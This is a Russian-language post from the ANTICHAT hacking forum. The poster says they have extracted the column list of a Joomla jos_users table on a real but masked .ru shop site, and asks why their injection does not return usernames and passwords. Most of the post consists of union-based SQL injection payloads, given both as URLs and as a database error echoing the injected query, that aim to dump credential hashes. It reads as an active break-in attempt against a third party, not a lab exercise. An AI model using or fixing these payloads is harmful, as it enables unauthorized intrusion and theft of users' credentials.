ANTICHAT - Показать сообщение отдельно - Ваши вопросы по уязвимостям.

Я получил колонки из jos_users

Цитата:

Сообщение от None

id:name:username:email: password:usertype:block:sendEmail:gid:registerDate :lastvisitDate:activation: params

Но информация из username и password не выводится, в чём причина?

Пишет ошибку

Цитата:

Сообщение от None

Invalid query "select * from klimat where id=2654 and 1=0 union select 1,2,3,4,5,6,7,8,group_concat(concat_ws(0x3a3a3a,us er name,password) separator 0x0b),10,11,12,13,14,15,16,17,18,19,20 from jos_users limit 0,20-- "

Цитата:

Сообщение от None

http://***.ru/catalog.php?productid=2654+and+1=0+union+select+1, 2,3,4,5,6,7,8,username,password,10,11,12,13,14,15, 16,17,18,19,20+from+jos_users+limit+0,1--+

И так не выводит

Цитата:

Сообщение от None

http://***.ru/catalog.php?productid=2654+and+1=0+union+select+1, 2,3,4,5,6,7,8,group_concat(concat_ws(0x3a3a3a,user name,password)+separator+0x0b),10,11,12,13,14,15,1 6,17,18,19,20+from+jos_users+limit+0,20--+